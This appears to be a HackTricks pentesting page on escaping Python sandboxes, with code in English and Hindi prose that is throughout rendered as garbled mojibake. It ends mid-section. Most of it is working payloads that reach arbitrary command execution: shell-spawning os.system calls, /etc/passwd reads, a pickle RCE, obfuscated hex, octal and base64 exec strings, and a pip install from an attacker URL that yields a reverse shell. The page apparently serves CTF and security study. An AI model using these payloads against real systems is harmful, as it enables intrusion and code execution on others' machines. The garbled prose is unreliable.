.. | ||
load_name-load_const-opcode-oob-read.md | ||
README.md |
Bypass Python sandboxes
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
рдпреЗ рдХреБрдЫ рддрд░рдХреАрдмреЗрдВ рд╣реИрдВ рдЬреЛ рдкрд╛рдпрдерди рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдФрд░ рдордирдЪрд╛рд╣реЗ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИрдВред
Command Execution Libraries
рдкрд╣рд▓реА рдмрд╛рдд рдЬреЛ рдЖрдкрдХреЛ рдЬрд╛рдирдиреА рдЪрд╛рд╣рд┐рдП рд╡рд╣ рдпрд╣ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдкрд╣рд▓реЗ рд╕реЗ рдЖрдпрд╛рддрд┐рдд рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рд╕рд╛рде рд╕реАрдзреЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╛ рдпрджрд┐ рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рднреА рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЛ рдЖрдпрд╛рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")
#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *
#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')
рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ open рдФрд░ read рдлрд╝рдВрдХреНрд╢рди рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ рдХреЛрдб рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдЖрдк execute рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ bypass рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
{% hint style="danger" %} Python2 input() рдлрд╝рдВрдХреНрд╢рди рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреНрд░реИрд╢ рд╣реЛрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдкрд╛рдпрдерди рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред {% endhint %}
рдкрд╛рдпрдерди рдкрд╣рд▓реЗ рд╡рд░реНрддрдорд╛рди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ (рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдпрд╣ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдЧрд╛ рдХрд┐ рдкрд╛рдпрдерди рдореЙрдбреНрдпреВрд▓ рдХрд╣рд╛рдБ рд╕реЗ рд▓реЛрдб рдХрд░ рд░рд╣рд╛ рд╣реИ): python3 -c 'import sys; print(sys.path)'
рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реНрдерд╛рдкрд┐рдд рдкрд╛рдпрдерди рдкреИрдХреЗрдЬ рдХреЗ рд╕рд╛рде рдкрд┐рдХрд▓ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ
рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреИрдХреЗрдЬ
рдЖрдк рдпрд╣рд╛рдБ рдкреВрд░реНрд╡-рд╕реНрдерд╛рдкрд┐рдд рдкреИрдХреЗрдЬреЛрдВ рдХреА рд╕реВрдЪреА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдПрдХ рдкрд┐рдХрд▓ рд╕реЗ рдЖрдк рдкрд╛рдпрдерди рд╡рд╛рддрд╛рд╡рд░рдг рдХреЛ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рдордирдорд╛рдиреЗ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ import рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрд┐рдХрд▓, рдЬрдм рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рддреЛ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдк рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЛ рдЖрдпрд╛рдд рдХрд░реЗрдЧрд╛:
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically
import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдХрд┐ pickle рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЗрд╕реЗ рджреЗрдЦреЗрдВ: https://checkoway.net/musings/pickle/
Pip рдкреИрдХреЗрдЬ
@isHaacK рджреНрд╡рд╛рд░рд╛ рд╕рд╛рдЭрд╛ рдХреА рдЧрдИ рдЪрд╛рд▓
рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ pip
рдпрд╛ pip.main()
рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рддреЛ рдЖрдк рдПрдХ рдордирдорд╛рдирд╛ рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдПрдХ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
рдЖрдк рдкреИрдХреЗрдЬ рдХреЛ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдБ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ рдЗрд╕реЗ рдбрд┐рдХрдВрдкреНрд░реЗрд╕ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, setup.py
рдХреЛ рдмрджрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдХреЗ рд▓рд┐рдП рдЕрдкрдирд╛ IP рдбрд╛рд▓рдирд╛ рдЪрд╛рд╣рд┐рдП:
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
{% hint style="info" %}
рдпрд╣ рдкреИрдХреЗрдЬ Reverse
рдХрд╣рд▓рд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рд╕реЗ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЬрдм рдЖрдк рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рддреЗ рд╣реИрдВ рддреЛ рдмрд╛рдХреА рдХреА рд╕реНрдерд╛рдкрдирд╛ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧреА, рдЗрд╕рд▓рд┐рдП рдЖрдк рд╕рд░реНрд╡рд░ рдкрд░ рдХреЛрдИ рдЕрддрд┐рд░рд┐рдХреНрдд рдкрд╛рдпрдерди рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрд┐рдд рдирд╣реАрдВ рдЫреЛрдбрд╝реЗрдВрдЧреЗ рдЬрдм рдЖрдк рдмрд╛рд╣рд░ рдирд┐рдХрд▓реЗрдВрдЧреЗред
{% endhint %}
рдкрд╛рдпрдерди рдХреЛрдб рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рдирд╛
{% hint style="warning" %} рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ exec рдорд▓реНрдЯреАрд▓рд╛рдЗрди рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдФрд░ ";" рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди eval рдирд╣реАрдВ (рд╡рд╛рд▓рд░рд╕ рдСрдкрд░реЗрдЯрд░ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ) {% endhint %}
рдпрджрд┐ рдХреБрдЫ рд╡рд░реНрдг рдирд┐рд╖рд┐рджреНрдз рд╣реИрдВ, рддреЛ рдЖрдк hex/octal/B64 рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ bypass рдкреНрд░рддрд┐рдмрдВрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
рдЕрдиреНрдп рдкреБрд╕реНрддрдХрд╛рд▓рдп рдЬреЛ рдкрд╛рдпрдерди рдХреЛрдб рдХреЛ eval рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ
#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
рдСрдкрд░реЗрдЯрд░ рдФрд░ рдЫреЛрдЯреЗ рдЯреНрд░рд┐рдХреНрд╕
# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
Bypassing protections through encodings (UTF-7)
In рдЗрд╕ рд▓реЗрдЦ UFT-7 рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рд╕реНрдкрд╖реНрдЯ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ рдордирдорд╛рдирд╛ рдкрд╛рдпрдерди рдХреЛрдб рд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
assert b"+AAo-".decode("utf_7") == "\n"
payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
рдпрд╣ рдЕрдиреНрдп рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ raw_unicode_escape
рдФрд░ unicode_escape
ред
рдХреЙрд▓ рдХреЗ рдмрд┐рдирд╛ рдкрд╛рдпрдерди рдирд┐рд╖реНрдкрд╛рджрди
рдпрджрд┐ рдЖрдк рдПрдХ рдкрд╛рдпрдерди рдЬреЗрд▓ рдХреЗ рдЕрдВрджрд░ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛, рддреЛ рдордирдорд╛рдиреЗ рдлрд╝рдВрдХреНрд╢рдВрд╕, рдХреЛрдб рдФрд░ рдХрдорд╛рдВрдбреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рдХреБрдЫ рддрд░реАрдХреЗ рдЕрднреА рднреА рд╣реИрдВред
рдбреЗрдХреЛрд░реЗрдЯрд░реНрд╕ рдХреЗ рд╕рд╛рде RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass
# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)
# So just send your python code when prompted and it will be executed
# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass
RCE рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдиреЗ рдФрд░ рдУрд╡рд░рд▓реЛрдбрд┐рдВрдЧ
рдпрджрд┐ рдЖрдк рдХреНрд▓рд╛рд╕ рдШреЛрд╖рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕ рдХреНрд▓рд╛рд╕ рдХрд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рд▓рд┐рдЦ/рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЯреНрд░рд┐рдЧрд░ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдмрд┐рдирд╛ рдЙрдиреНрд╣реЗрдВ рдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ рдХреЙрд▓ рдХрд┐рдПред
рдХрд╕реНрдЯрдо рдХреНрд▓рд╛рд╕реЗрд╕ рдХреЗ рд╕рд╛рде RCE
рдЖрдк рдХреБрдЫ рдХреНрд▓рд╛рд╕ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ (рдореМрдЬреВрджрд╛ рдХреНрд▓рд╛рд╕ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗ рдпрд╛ рдПрдХ рдирдИ рдХреНрд▓рд╛рд╕ рдмрдирд╛рдХрд░) рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╡реЗ рдЯреНрд░рд┐рдЧрд░ рд╣реЛрдиреЗ рдкрд░ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХреЗрдВ рдмрд┐рдирд╛ рдЙрдиреНрд╣реЗрдВ рдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ рдХреЙрд▓ рдХрд┐рдПред
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>
# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce
# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()
# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
Crating objects with metaclasses
рдореЗрдЯрд╛рдХреНрд▓рд╛рд╕ рд╣рдореЗрдВ рдЬреЛ рдореБрдЦреНрдп рдЪреАрдЬрд╝ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рд╡рд╣ рд╣реИ рдХреНрд▓рд╛рд╕ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдмрдирд╛рдирд╛, рдмрд┐рдирд╛ рд╕реАрдзреЗ рдХрдВрд╕реНрдЯреНрд░рдХреНрдЯрд░ рдХреЛ рдХреЙрд▓ рдХрд┐рдП, рд▓рдХреНрд╖рд┐рдд рдХреНрд▓рд╛рд╕ рдХреЛ рдореЗрдЯрд╛рдХреНрд▓рд╛рд╕ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рдирдИ рдХреНрд▓рд╛рд╕ рдмрдирд╛рдХрд░ред
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type
class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do
Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
Creating objects with exceptions
рдЬрдм рдПрдХ exception рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ рддреЛ Exception рдХрд╛ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдЖрдкрдХреЛ рд╕реАрдзреЗ рдХрдВрд╕реНрдЯреНрд░рдХреНрдЯрд░ рдХреЛ рдХреЙрд▓ рдХрд┐рдП (рдПрдХ рдЯреНрд░рд┐рдХ @_nag0mez рд╕реЗ):
class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object
# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec
try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__
## You can also use the tricks from the previous section to get RCE with this object
рдЕрдзрд┐рдХ RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it
# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]
рдмрд┐рд▓реНрдЯрдЗрдиреНрд╕ рдорджрдж рдФрд░ рд▓рд╛рдЗрд╕реЗрдВрд╕ рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓ рдкрдврд╝реЗрдВ
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
Builtins
рдпрджрд┐ рдЖрдк __builtins__
рдСрдмреНрдЬреЗрдХреНрдЯ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдкреБрд╕реНрддрдХрд╛рд▓рдп рдЖрдпрд╛рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдпрд╣рд╛рдБ рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рджрд┐рдЦрд╛рдП рдЧрдП рдЕрдиреНрдп рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ):
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
No Builtins
рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ __builtins__
рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдк рдХреБрдЫ рднреА рдЖрдпрд╛рдд рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ рдФрд░ рди рд╣реА рдлрд╝рд╛рдЗрд▓реЗрдВ рдкрдврд╝ рдпрд╛ рд▓рд┐рдЦ рдкрд╛рдПрдВрдЧреЗ рдХреНрдпреЛрдВрдХрд┐ рд╕рднреА рд╡реИрд╢реНрд╡рд┐рдХ рдлрд╝рдВрдХреНрд╢рди (рдЬреИрд╕реЗ open
, import
, print
...) рд▓реЛрдб рдирд╣реАрдВ рд╣реЛрддреЗред
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдкрд╛рдпрдерди рдореЗрдореЛрд░реА рдореЗрдВ рдмрд╣реБрдд рд╕рд╛рд░реЗ рдореЙрдбреНрдпреВрд▓ рдЖрдпрд╛рдд рдХрд░рддрд╛ рд╣реИред рдпреЗ рдореЙрдбреНрдпреВрд▓ рдирд┐рд░реНрджреЛрд╖ рд▓рдЧ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдЦрддрд░рдирд╛рдХ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдПрдБ рднреА рдЖрдпрд╛рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдордирдорд╛рдиреЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреИрд╕реЗ рдХреБрдЫ рдЗрд╕ "рдирд┐рд░реНрджреЛрд╖" рдореЙрдбреНрдпреВрд▓ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЦрддрд░рдирд╛рдХ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
Python2
#Try to reload __builtins__
reload(__builtins__)
import __builtin__
# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__
# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
рдиреАрдЪреЗ рдПрдХ рдмрдбрд╝рд╛ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рдЖрдкрдХреЛ builtins рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЬрдЧрд╣реЛрдВ рдХреЗ рджрд░реНрдЬрдиреЛрдВ/рд╕реИрдХрдбрд╝реЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдореЗрдВ рдорджрдж рдХрд░реЗрдЧрд╛ред
Python2 рдФрд░ Python3
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
Builtins payloads
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
Globals and locals
globals
рдФрд░ locals
